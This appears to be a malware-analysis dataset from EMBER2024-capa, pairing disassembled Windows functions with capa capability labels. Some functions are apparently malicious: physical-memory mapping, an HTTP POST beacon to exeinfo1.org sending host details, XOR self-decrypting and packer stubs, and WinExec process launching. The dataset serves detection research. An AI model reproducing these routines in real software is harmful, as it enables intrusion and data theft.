joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40390f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push ebx
push esi
push edi
push 0xb
pop ecx
mov esi, str.devicephysicalmemory
lea edi, [ebp - 0x78]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x4a]
xor ebx, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x78]
push str.ntdll.dll
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x24], 0xf0000
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0xc], pe_overlay
mov dword [ebp - 8], ebx
mov word [ebp - 0x1c], 0x2c
mov word [ebp - 0x1a], 0x2e
mov dword [ebp - 0x30], 0x40
mov dword [ebp - 0x3c], 0x18
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.ZwOpenSection
push edi
call esi
push str.ZwMapViewOfSection
push edi
mov dword [ebp - 4], eax
call esi
push str.ZwUnmapViewOfSection
push edi
mov dword [ebp - 0x14], eax
call esi
mov edi, eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x10]
push 4
push eax
call dword [ebp - 4]
test eax, eax
jne 0x403a38
push 2
push ebx
lea eax, [ebp - 0xc]
push 1
push eax
lea eax, [ebp - 0x24]
push eax
push pe_overlay
lea eax, [ebp - 8]
push ebx
push eax
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [ebp - 0x14]
test eax, eax
jne 0x403a38
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.0040377e
mov esi, eax
pop ecx
cmp esi, ebx
jne 0x403a13
lea eax, [ebp - 4]
push eax
call fcn.004037f1
mov esi, eax
pop ecx
cmp esi, ebx
jne 0x403a13
lea eax, [ebp - 4]
push eax
call fcn.00403864
mov esi, eax
pop ecx
cmp esi, ebx
je 0x403a31
mov eax, dword [0x40ea50]
push esi
push dword [ebp - 4]
lea eax, [eax + 0x40da50]
push eax
call fcn.004044d0
add esp, 0xc
add dword [0x40ea50], esi
push dword [ebp - 8]
push 0xffffffffffffffff
call edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403cf7
Capabilities:
Get hostname
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1194
call fcn.00404060
lea eax, [ebp - 0xd94]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x403e3e
push esi
mov esi, 0x400
push edi
lea eax, [ebp - 0x1194]
push esi
push eax
call sub.WS2_32.dll_gethostname
call fcn.00403611
call fcn.004036b7
call fcn.0040390f
push esi
lea eax, [ebp - 0x804]
push 0
push eax
call fcn.00403f80
xor edi, edi
add esp, 0xc
cmp dword [0x40ea50], edi
jbe 0x403d8a
lea eax, [ebp - 0x804]
mov dword [ebp - 4], eax
movzx eax, byte [edi + 0x40da50]
push eax
push str._02x
push dword [ebp - 4]
call fcn.00403fd8
add dword [ebp - 4], 2
add esp, 0xc
inc edi
cmp edi, dword [0x40ea50]
jb 0x403d65
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0xc04]
push esi
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
lea eax, [ebp - 0x404]
push 0
push eax
call fcn.00403f80
lea eax, [ebp - 0x404]
push eax
call fcn.00403a3d
mov edi, 0x40b010
push edi
call fcn.00404450
push 0x14
pop esi
push edi
sub esi, eax
call fcn.00404450
add esi, eax
lea eax, [ebp - 0x404]
push eax
call fcn.00404450
add esi, eax
lea eax, [ebp - 0xc04]
push eax
call fcn.00404450
add esi, eax
lea eax, [ebp - 0x804]
push eax
call fcn.00404450
add esi, eax
lea eax, [ebp - 0x1194]
push eax
call fcn.00404450
add esp, 0x28
add esi, eax
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0xc04]
push eax
lea eax, [ebp - 0x804]
push eax
lea eax, [ebp - 0x1194]
push eax
push esi
push str.POST__pro.asp_HTTP_1.1_r_nHost:exeinfo1.org_r_nContent_Type:_application_x_www_form_urlencoded_r_nContent_Length:_d_r_n_r_na1_sa2_sa3_sa4_s_r_n_r_n
push dword [ebp + 8]
call fcn.00403fd8
add esp, 0x1c
pop edi
pop esi
leave
ret
Function at 0x48c529
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x40
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
call fcn.0048c480
add esp, 0xc
mov eax, dword [ebp + 0xc]
xor ecx, ecx
mov cx, word [eax]
cmp ecx, 0x5a4d
je 0x48c558
mov eax, 0xea61
jmp 0x48c5d6
mov eax, dword [ebp + 0xc]
cmp dword [eax + 0x3c], 0
jne 0x48c568
mov eax, 0xea62
jmp 0x48c5d6
push 0xf8
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0x10]
push eax
call fcn.0048c480
add esp, 0xc
mov eax, dword [ebp + 0x10]
cmp dword [eax], 0x4550
je 0x48c595
mov eax, 0xea62
jmp 0x48c5d6
mov eax, dword [ebp + 0x10]
xor ecx, ecx
mov cx, word [eax + 4]
cmp ecx, 0x14c
je 0x48c5ad
mov eax, 0xea65
jmp 0x48c5d6
mov eax, dword [ebp + 0x10]
xor ecx, ecx
mov cx, word [eax + 0x16]
test ch, 0x10
je 0x48c5c2
mov eax, 0xea66
jmp 0x48c5d6
mov eax, dword [ebp + 0x10]
cmp dword [eax + 0x74], 0x10
jbe 0x48c5d2
mov eax, 0xea67
jmp 0x48c5d6
xor eax, eax
jmp 0x48c5d6
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x100585c
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x12c]
push eax
push 0x104
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov dl, 0x5c
cmp byte [ebp - 0x12c], dl
jne 0x10058b9
cmp byte [ebp - 0x12b], dl
jne 0x10058b9
mov cl, byte [ebp - 0x12a]
test cl, cl
lea eax, [ebp - 0x12a]
mov dword [ebp + 8], eax
je 0x10058e2
cmp cl, dl
je 0x10058b1
inc eax
mov dword [ebp + 8], eax
mov cl, byte [eax]
test cl, cl
jne 0x10058a3
cmp byte [eax], 0
je 0x10058e2
inc eax
jmp 0x10058bf
lea eax, [ebp - 0x12c]
mov dword [ebp + 8], eax
mov cl, byte [eax]
test cl, cl
je 0x10058e2
cmp cl, dl
je 0x10058d6
inc eax
mov dword [ebp + 8], eax
mov cl, byte [eax]
test cl, cl
jne 0x10058c8
cmp byte [eax], 0
je 0x10058e2
inc eax
mov dword [ebp + 8], eax
and byte [eax], 0
push esi
push edi
push 0x1001590
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x1005936
push 0x100157c
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x1005936
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x12c]
push eax
call edi
test eax, eax
je 0x1005957
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
shrd eax, ecx, 0xa
shr ecx, 0xa
jmp 0x1005972
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
test eax, eax
jne 0x100595c
or eax, 0xffffffff
jmp 0x1005972
mov eax, dword [ebp - 4]
imul eax, dword [ebp - 8]
push 0x400
push dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
pop edi
pop esi
leave
ret

Function at 0x1005b72
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x1005ba0
xor eax, eax
xor edx, edx
jmp 0x1005bda
push edi
lea eax, [ebp + 8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 1
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 4], eax
call fcn.0100a190
mov esi, eax
xor eax, eax
add esi, dword [ebp - 4]
mov edi, edx
push ebx
adc edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1005bd5
xor esi, esi
xor edi, edi
mov edx, edi
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1009d52
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
push ebx
push esi
push edi
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetClientRect]
push 0x80
lea eax, [ebp - 0xac]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov edi, dword [sym.imp.USER32.dll_GetSysColor]
push 0xf
mov dword [ebp + 8], eax
call edi
mov esi, dword [ebp + 0xc]
push eax
push esi
call dword [sym.imp.GDI32.dll_SetBkColor]
push 0x12
call edi
push eax
push esi
call dword [sym.imp.GDI32.dll_SetTextColor]
push dword [0x100f3a8]
mov ebx, dword [sym.imp.GDI32.dll_SelectObject]
push esi
call ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 8]
dec eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 4]
push 0
push dword [ebp + 8]
dec eax
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0xac]
push eax
lea eax, [ebp - 0x2c]
push eax
push 2
push 1
push 4
push esi
call dword [sym.imp.GDI32.dll_ExtTextOutA]
mov eax, dword [ebp - 8]
mov esi, dword [ebp - 4]
push dword [0x100f3a0]
sub eax, dword [ebp - 0x10]
sub esi, dword [ebp - 0xc]
push dword [ebp + 0xc]
mov dword [ebp + 8], eax
mov dword [ebp - 0x1c], esi
call ebx
mov edi, 0xf00021
push edi
push esi
mov esi, dword [sym.imp.GDI32.dll_PatBlt]
push 1
push dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
push dword [ebp - 0x10]
push dword [ebp + 0xc]
call esi
push edi
push 1
push dword [ebp + 8]
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push dword [ebp + 0xc]
call esi
push dword [0x100f39c]
push dword [ebp + 0xc]
call ebx
mov eax, dword [ebp - 0x1c]
push edi
dec eax
push eax
mov eax, dword [ebp - 0xc]
push 1
inc eax
push eax
mov eax, dword [ebp - 8]
dec eax
push eax
push dword [ebp + 0xc]
call esi
mov eax, dword [ebp + 8]
push edi
dec eax
push 1
push eax
mov eax, dword [ebp - 4]
dec eax
push eax
mov eax, dword [ebp - 0x10]
inc eax
push eax
push dword [ebp + 0xc]
call esi
cmp dword [ebp - 0x18], 0
je 0x1009e81
push dword [ebp - 0x18]
push dword [ebp + 0xc]
call ebx
cmp dword [ebp - 0x14], 0
je 0x1009e8f
push dword [ebp - 0x14]
push dword [ebp + 0xc]
call ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100a4d8
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and dword [ebp - 8], 0
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push esi
push edi
push 4
pop edi
mov esi, dword [ebp - 8]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
shl esi, 2
push dword [esi + 0x100d038]
mov dword [ebp - 0xc], edi
push dword [ebp + 8]
call ebx
test eax, eax
jne 0x100a519
cmp dword [ebp - 0x10], edi
je 0x100a553
and dword [ebp - 4], 0
push edi
lea eax, [ebp - 4]
push eax
push edi
push 0
push dword [esi + 0x100d038]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x100a553
push dword [esi + 0x100d038]
push 0x100436c
push 0
push 0x10
call fcn.0100aace
add esp, 0x10
and dword [ebp - 4], 0
cmp byte [ebp + 0xc], 0
lea eax, [esi + 0x100f3f0]
je 0x100a568
mov ecx, dword [eax]
cmp dword [ebp - 4], ecx
jbe 0x100a571
jmp 0x100a56e
test byte [eax + 3], 0x80
jne 0x100a573
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
inc dword [ebp - 8]
cmp dword [ebp - 8], 0xa
jl 0x100a4ee
lea eax, [ebp - 0xc]
push eax
mov esi, 0x100d064
push esi
lea eax, [ebp - 0x10]
push eax
push 0
push dword [0x100d074]
mov dword [ebp - 0xc], edi
push dword [ebp + 8]
call ebx
test eax, eax
jne 0x100a5a7
cmp dword [ebp - 0x10], edi
je 0x100a5e8
or dword [0x100d064], 0xffffffff
push edi
push esi
push edi
push 0
push dword [0x100d074]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x100a5e8
mov eax, dword [ebp - 8]
push dword [eax*4 + 0x100d038]
push 0x100436c
push 0
push 0x10
call fcn.0100aace
add esp, 0x10
or dword [0x100d064], 0xffffffff
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x100a696
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
xor ebx, ebx
cmp byte [0x100f825], bl
push esi
je 0x100a6bc
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x100a70b
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
lea eax, [ebp + 8]
push eax
push ebx
lea eax, [ebp - 0x14]
push eax
push 0x100a674
push ebx
push ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
cmp esi, ebx
je 0x100a708
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
jmp 0x100a70b
push 2
pop eax
pop esi
pop ebx
leave
ret
Function at 0x100a86a
Capabilities:
Query or enumerate registry value
Set console window title
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push 0x40
pop ecx
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x10c], bl
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 8]
push eax
push ebx
mov esi, 0x1004508
push esi
push dword [ebp + 8]
mov dword [ebp - 4], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xor edi, edi
inc edi
test eax, eax
jne 0x100a8c0
cmp dword [ebp - 8], edi
je 0x100a8d7
push edi
lea eax, [ebp - 0x10c]
push eax
push edi
push ebx
push esi
push dword [ebp + 8]
mov dword [ebp - 4], edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [0x100d060]
cmp eax, 0xffffffff
je 0x100a907
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x100a900
push 0x100
push 0x1004428
push 0x10044f0
call fcn.0100a736
or dword [0x100d060], 0xffffffff
cmp byte [ebp - 0x10c], bl
je 0x100a9d4
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
push 0x10044e8
lea eax, [ebp - 0x10c]
push eax
call esi
test eax, eax
jne 0x100a95b
mov esi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xfffffffffffffff5
call esi
cmp eax, 0xffffffff
mov dword [0x100d060], eax
jne 0x100a94e
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0xfffffffffffffff5
call esi
mov dword [0x100d060], eax
push 0x10044d0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
jmp 0x100a9d4
cmp byte [ebp - 0x10c], bl
je 0x100a9d4
push 0x10044c8
lea eax, [ebp - 0x10c]
push eax
call esi
test eax, eax
je 0x100a9d4
push 0x10044bc
lea eax, [ebp - 0x10c]
push eax
call esi
test eax, eax
je 0x100a9d4
push 0x10044b8
lea eax, [ebp - 0x10c]
push eax
call esi
test eax, eax
je 0x100a9d4
push ebx
push 0x80
push 4
push ebx
push edi
push 0x40000000
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x100d060], eax
je 0x100a9d4
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x1004494
call fcn.0100a5ef
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x4103d0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x47725b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00469c1f
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x410452
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0046769d
mov eax, dword [eax]
push 0x4c1220
push eax
call fcn.0045a004
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00469eaa
test bl, bl
je 0x410452
push 0x4c1220
lea ecx, [esp + 0xc]
call fcn.0046a286
push 0x4c4d94
lea ecx, [esp + 0xc]
call fcn.0046a286
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x41048e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00469eaa
jmp 0x410559
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x410512
lea edx, [esp + 0x7c]
push 0x4c4d90
push edx
call fcn.0045a004
add esp, 8
test eax, eax
je 0x410512
lea eax, [esp + 0x7c]
push 0x4c4d8c
push eax
call fcn.0045a004
add esp, 8
test eax, eax
je 0x410512
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4104a2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00469eaa
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x410d50
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x410db2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x410dc0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4772db
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4cbd00]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x410ef8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x410e26
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00469eaa
xor eax, eax
jmp 0x410f6f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0046a033
push esi
lea ecx, [esp + 0xc]
call fcn.0046a2c2
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x4c4dcc
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x410f4d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00410d50
test eax, eax
jne 0x410f4d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00410d50
test eax, eax
jne 0x410f4d
lea eax, [esp + 0x14]
push 0x4c4da8
push eax
call fcn.0045b0e0
mov esi, eax
add esp, 8
test esi, esi
jne 0x410f2c
lea ecx, [esp + 0x14]
push 0x4c4da4
push ecx
call fcn.0045b060
mov esi, eax
add esp, 8
test esi, esi
jne 0x410f2c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x410f2f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00469fe3
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x410e3e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00469eaa
xor eax, eax
jmp 0x410f6f
mov byte [esi], 0
push 0x4c4da0
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00469eaa
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4